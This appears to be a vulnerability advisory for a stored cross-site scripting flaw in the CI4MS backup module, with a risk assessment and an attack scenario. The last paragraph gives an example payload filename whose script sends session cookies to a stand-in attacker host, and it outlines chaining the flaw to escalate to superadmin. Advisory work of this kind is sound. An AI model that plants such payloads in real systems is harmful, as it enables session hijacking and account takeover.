CI4MS CVE-2026-41201

Requires authenticated access with high privileges (PR:H) specifically to CI4MS backup module functionality. Attacker must have permission to upload or create backup files, typically granted to backup operators, system administrators, or superadmin roles. Exploitation succeeds when backup module is actively used and administrators regularly access the backup management interface to view or manage backup files. Vulnerability affects default configurations of CI4MS versions below 0.31.5.0 with no special feature flags required. Limiting factors include: requires initial foothold as privileged user (not remotely exploitable from unauthenticated state), victim administrator must navigate to backup listing page for payload execution (though this is routine administrative activity), and browser-based XSS defenses like Content Security Policy may block inline script execution if properly configured (rare in default CI4MS deployments). The CVSS vector AV:N/AC:L/PR:H/UI:N indicates network-accessible exploitation with low complexity once authenticated, but the high privilege requirement (PR:H) significantly reduces attacker population compared to unauthenticated vulnerabilities.

Real-world risk is high for organizations using CI4MS despite requiring initial high-privilege access (PR:H). The CVSS 9.1 Critical score is justified by the scope change (S:C) and complete confidentiality/integrity/availability impact (C:H/I:H/A:H). Attack complexity is low (AC:L) with no user interaction required (UI:N) once the malicious backup file is planted. No EPSS data available for this newly disclosed CVE, and absence from CISA KEV suggests exploitation is not yet widespread. However, GitHub advisory GHSA-qxpq-82f3-xj47 confirms multiple coordinated security disclosures addressing XSS, arbitrary file write (Zip Slip RCE), and privilege escalation IDOR vulnerabilities in the same release cycle, indicating systemic security issues in the product. The combination of stored XSS with authenticated file upload creates a realistic privilege escalation chain from backup operator to superadmin. Organizations using CI4MS backup functionality face concrete risk, particularly in multi-admin environments where lateral movement amplifies impact. Patch availability in version 0.31.5.0 is confirmed by vendor release notes, making this immediately remediable. Priority should be HIGH for any CI4MS deployment, CRITICAL if backup module is actively used by multiple administrative roles.

An authenticated attacker with backup operator or administrator privileges crafts a malicious SQL backup file where the filename field contains embedded JavaScript payload, such as backup_2026<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>.sql. They upload this file through the CI4MS backup module interface. When a superadmin or another administrator navigates to the backup management dashboard, DataTables dynamically renders the filename list from database records without output escaping. The stored XSS payload executes in the victim's browser, exfiltrating session cookies to the attacker's server. With hijacked superadmin session, the attacker leverages the related IDOR vulnerability in UserController to permanently escalate their own account to superadmin profile group, achieving persistent full account takeover across all roles. No public POC identified, but attack technique combines standard stored XSS with application-specific privilege escalation logic.